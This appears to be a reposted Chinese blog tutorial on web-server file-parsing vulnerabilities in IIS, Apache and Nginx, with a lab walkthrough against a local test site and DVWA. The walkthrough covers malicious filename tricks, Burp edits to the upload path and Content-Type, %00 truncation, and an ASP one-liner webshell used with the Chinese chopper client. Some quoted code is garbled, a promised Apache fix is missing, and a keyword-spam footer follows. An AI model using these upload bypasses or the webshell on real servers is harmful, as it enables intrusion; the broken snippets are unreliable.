1.什么是解析漏洞

 

以其他格式执行出脚本格式的效果。

 

2.解析漏洞产生的条件

 

1.命名规则

2.搭建平台

 

3.常见的解析漏洞

 

(一)IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。


1)目录解析(6.0)

形式:www.xxx.com/xx.asp/xx.jpg

原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。

2)文件解析

形式:www.xxx.com/xx.asp;.jpg

原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

3)解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

/test.asa
/test.cer
/test.cdx

 

(二)IIS7.5解析漏洞

IIS7.5的漏洞与nginx的类似,都是由于PHP配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。

 

(三)apache解析漏洞

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

漏洞形式

www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞

(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以php 方式执行。

修复方案

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so

把#号去掉,重启apache,在网站根目录下建立.htaccess文件

 

(四)Nginx解析漏洞

漏洞原理

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg%00.php

www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

 

总结:

 

IIS6.0(x和脚本格式可以自定义)

文件命名形式:

正常命名:www.xxx.com/logo.jpg

触发解析漏洞命名:www.xxx.com/logo.asp;.jpg 或 logo.asp;.x.jpg

文件夹命名形式:

正常命名:www.xxx.com/images/qq.jpg

触发解析漏洞命名:www.xxx.com/image.asp/qq.jpg

 

IIS7.X(x自定义,只能执行php)

正常命名:www.xxx.com/logo.jpg

触发解析漏洞命名:www.xxx.com/logo.jpg/x.php

 

Apache(xxxx代表任意后缀,向上识别解析)

正常命名:www.xxx.com/a.php

触发解析漏洞命名:www.xxx.com/a.php.xxxx

 

Nginx同iis7.x一致

 


4.一个简单的解析例子

 

测试环境为:windwos2003+iis6.0 注意:测试环境必须是在windwos2003+iis6.0的情况下才能成功解析,不能是小旋风之类的软件来测试。

 

1)文件解析

 

直接访问图片地址: http://192.168.87.129:8067/6.jpg

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第1张

 

改变图片后戳名为:6.asp;.jpg 再次访问,就会发现,jpg格式的图片被解析成了asp格式的脚本语言。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第2张

 

还可以改成:6.asp;1234.jpg 效果是一样的。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第3张

 

2)目录解析

 

将文件改为一个正常的图片格式文件,然后把它复制到一个test.asp的目录下,然后方法,发现也能正常解析。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第4张

 

 

 

5.解析漏洞利用场景


解析漏洞主要用在文件上传,上传一些图片什么的,然后通过解析漏洞,解析为动态语言。而上传很重要的一点就是命名规则,因为如果你不知道,服务器的文件命名规则的话,解析漏洞就不好利用,因为我们要获取我们上传文件名,只有获取到了上传的文件名,才能进行下一步操作,而命名规则无非就是以下两种。

 

测试源码:http://download.csdn.net/detail/u011781521/9766646 下载好之后,在服务器中新建一个网站,并复制进去。

 

然后访问首页:http://192.168.87.129:8898/Index.asp

后台登录地址: http://192.168.87.129:8898/Tcnet/Admin_Login.asp

文件上传地址: http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg 用户名与密码: admin admin 注意:必须先要登录才能使用文件上传功能。

 

 

1.本地,服务端命名一致

 

1)filepath上传利用

 

直接上传解析漏洞命名的后门文件

 

访问这个地址:http://192.168.87.129:8898/Upload.asp?formname=myform&editname=bookpic&uppath=upfile&&filelx=jpg

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第5张

 

先直接上传一个asp的文件试试看能否上传

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第6张解析漏洞整理 cc val ion rack yun ve 漏洞  第7张

 

发现并不能上传。那我们就利用解析漏洞来试下看,把asp改为fk.asp;.jpg(注:这里是图片一句话)

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第8张

 

OK能上传。复制上传好的地址,然后访问

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第9张

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第10张

 

图片能查看,但是asp并没有被解析。。。这是时候怎么办,从新上传xxx.asp;.jpg,然后用Burp来抓包,进行修改。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第11张

 

 

右键发送到Repeater中去

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第12张

 

修改其中的"filepath"在upfile/后面加上aaa.asp;. 然后Go一下你就会发现,这里就成了一个解析漏洞了

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第13张

 

然后访问下这个地址,asp成功的被解析了。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第14张

 

然后用菜刀进行连接。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第15张

 

密码就是"include";对应的asp一句话<%execute request("include")%>  然后点击添加。。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第16张

 

连接成功。

 

2.本地,服务端命名不一致,基于时间,日期等命名

 

1)filetype突破

 

这里采用DVWA来测试,

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第17张

 

然后点击"View Source"查看源码。

 

 

Low代码:

 

[html] view plain copy
 
  1. <?php   
  2.   
  3. if( isset( $_POST[ 'Upload' ] ) ) {  //判断是否是post传过来的,也就是判断upload是否为空  
  4.   
  5.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";   //取得网站绝对路径,然后用绝对路径+相对路径得到一个完整的路径。  
  6.   
  7.     $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );   //根据上面得到的完整路径+得到的文件名。  
  8.   
  9.     if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {  //判断你上传的图片是否成功移动到完整路径中  
  10.         // No   
  11.         echo '<pre>Your image was not uploaded.</pre>';   
  12.     }   
  13.     else {   
  14.         // Yes!   
  15.         echo "<pre>{$target_path} succesfully uploaded!</pre>";   
  16.     }   
  17. }   
  18.   
  19. ?>   

 

 

$_FILES['uploaded']['name'] :取得$_FILES全局文件变量的上传文件名

 

该源码存在的问题:

 

第一个没有验证后缀格式

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第18张

 

什么格式得可以上传。。

 

第二个客户端,服务端文件命名一致


 

 

 

Medium代码:


 

[html] view plain copy
 
  1. <?php   
  2.    
  3. if( isset( $_POST[ 'Upload' ] ) ) {   
  4.   
  5.     // 我们要往哪里写?   
  6.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";   
  7.     $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );   
  8.   
  9.     // 文件信息  
  10.     $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];   
  11.     $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];   
  12.     $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];   
  13.   
  14.     // 判断这是一个图片吗?   
  15.     if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&   
  16.         ( $uploaded_size 100000 ) ) {   
  17.   
  18.         // 我们可以移动文件到上传文件夹吗?   
  19.         if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {   
  20.             // No   
  21.             echo '<pre>Your image was not uploaded.</pre>';   
  22.         }   
  23.         else {   
  24.             // Yes!   
  25.             echo "<pre>{$target_path} succesfully uploaded!</pre>";   
  26.         }   
  27.     }   
  28.     else {   
  29.         // Invalid file   
  30.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';   
  31.     }   
  32. }   
  33.   
  34. ?>  

 

$_FILES['uploaded']['name'];     取得$_FILES全局文件变量的上传文件名

$_FILES['uploaded']['type'];     取得$_FILES全局文件变量的上传文件类型

$_FILES['uploaded']['size'];    取得$_FILES全局文件变量的上传大小

 

验证文件上传类型及大小,还是本地,服务端命名一致


然后我们来上传个asp文件用Burp抓包,看是否能成功上传。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第19张

 

拦截到之后发送到Repeater,然后go一下

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第20张

 

上传失败。。。这就很好奇了,明明这里没有验证文件后戳名,为什么还是上传不了???? 但是,他这里验证了文件类型!!我们看下上传的文件是什么类型的

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第21张

 

看它上传的类型为:application/octet-stram 所以他把上传的asp当做application来处理里。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第22张

 

然后我们改一下content-type的类型为:image/jpeg

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第23张

 

再次GO一下,发现上传成功了。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第24张

 

2)%00截断:截断字符


注意:数据包修改%00,务必进行url编码

 

把6.asp;.jpg改为6.asp%00.jpg

解析漏洞整理 cc val ion rack yun ve 漏洞  第25张

 

然后选中右键把%00进行url编码下。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第26张

这样的话,就把.jpg给截断了,然后就变成了6.asp。

 

解析漏洞整理 cc val ion rack yun ve 漏洞  第27张

 

 

High代码:

 

[html] view plain copy
 
  1. <?php   
  2.   
  3. if( isset( $_POST[ 'Upload' ] ) ) {   
  4.   
  5.     // 我们要往哪里写?   
  6.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";   
  7.     $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );   
  8.   
  9.     // 文件信息  
  10.     $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];   
  11.     $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   
  12.     $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];   
  13.     $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];   
  14.   
  15.     // 判断是否是图片?   
  16.     if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&  
  17.         ( $uploaded_size 100000 ) &&   
  18.         getimagesize( $uploaded_tmp ) ) {   
  19.   
  20.         // 我们可以移动文件到上传文件夹吗?   
  21.         if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {   
  22.             // No   
  23.             echo '<pre>Your image was not uploaded.</pre>';   
  24.         }   
  25.         else {   
  26.             // Yes!   
  27.             echo "<pre>{$target_path} succesfully uploaded!</pre>";   
  28.         }   
  29.     }   
  30.     else {   
  31.         // Invalid file   
  32.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';   
  33.     }   
  34. }   
  35.   
  36. ?>   

strrpos( $uploaded_name, '.' ) + 1 的作用就是去文件的最后一个点

 

 

例如:

 

www.jpg.zip.txt.asp

 

他就会截取最后一个点,所以是绕不过的。

 

然后下面又是一个判断。格式必须是图片型的才能执行下面的代码。

 
 

热搜词

免费sqlserver空间ailiyun yum域名被cc攻击cc防护用高防服务器还是cnd好access独享和共享360高防dns可以防cc吗cc攻击防御cc攻击源码sql server帮助gucci包高防sqlserver 导入存储过程g540 ecc内存cc域名交易发起cc攻击alpharacks无网server 2003 改密码yun新域名server 2003 绑定域名sqlserver 数据库高防cc防御ftp server连接失败服务端cc攻击以cc结尾的域名win2003禁止cc攻击pccw服务器怎么样高防服务器ccgodaddy auctions 优惠码防cc服务器租用被cc攻击怎么办lcx.cc 黑帽seocc攻击 php国外cc攻击器siteserver seo拨号服务器yunadsl免费顶级域名ccserver 2003更改密码域名后缀cc什么意思gucci衣服高防1比1大宽带防cccc域名删除时间如何防止cc攻击cc假人攻击idcc公司cc攻击ip访问自己电脑yumi ccggodaddy cc续费优惠码CC攻击误封cc攻击服务versaweb ip云sqlserveroracle迁移到sqlserver如何防御cc攻击htaccess 多域名 301哪里申请cc域名seo hyun jinserver2012 安装ftpsql server 成品在线sqlserver数据库hostigation安装winwindows server 打开端口cc域名实名认证CC域名 注册量cc域名和topcc免费域名申请cc攻击godaddy 优惠码 .cc网站cc攻击代yun价格阿里云高防ip防cc攻击吗cc攻击 使用缓存.htaccess 绑定子目录sqlserver空间数据库sql server查询表备注love.com域名alpharacks购买指南机房cc攻击server2003 iisccasp网络验证4.0access数据库 phpcc域名贵电讯盈科pccwxenserver控制面板cc域名如何eve猎获级高防级配装cdn防御cc攻击cdn服务器yunadslverisign 多域名cc攻击的日志server2008 iis安装cc高防服务cc 如何注册cc防护跟高防的区别dove高防琴godaddy cc优惠码济南 服务器租赁 server2003access 工单抗cc攻击服务器seo description怎么写cve 2017 0147补丁cc攻击脚本